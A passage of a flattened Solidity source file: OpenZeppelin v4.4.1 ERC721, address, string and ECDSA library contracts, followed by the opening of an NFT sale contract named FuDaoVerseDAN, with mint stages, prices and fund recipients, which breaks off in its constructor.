https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "hardhat/console.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; contract FuDaoVerseDAN is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; using ECDSA for bytes32; //NFT params string public baseURI; bool public revealed; string public notRevealedUri; IERC721 public OG; //sale stages: //stage 0: init(no minting) //stage 1: free-mint //stage 2: pre-sale, OGs are included in here //stage 2.5: whitelisted can mint an extra 2, increase presaleMintMax to 4 //stage 3: public sale Counters.Counter public tokenSupply; uint8 public stage = 0; mapping(uint256 => bool) public isOGMinted; mapping(uint256 => uint8) public OGWhitelistMintCount; uint256 public VIP_PASSES = 888; uint256 public presaleSalePrice = 0.077 ether; uint256 public presaleSupply = 6666; uint256 public presaleMintMax = 2; mapping(address => uint8) public presaleMintCount; mapping(address => uint8) public vipMintCount; // For Whitelist Sale mapping(address => uint256) public publicMintCount; //public sale (stage=3) uint256 public publicSalePrice = 0.088 ether; uint256 public publicMintMax = 2; uint256 public totalSaleSupply = 8888; //others bool public paused = false; //sale holders address[2] public fundRecipients = [ 0xaDDfdc72494E29A131B1d4d6668184840f1Fc30C, 0xcD7BCAc7Ee5c18d8cC1374B62F09cf67e6432a08 ]; uint256[] public receivePercentagePt = [7000]; //distribution in basis points // Off-chain whitelist address private signerAddress; mapping(bytes => bool) private _nonceUsed; constructor( string memory 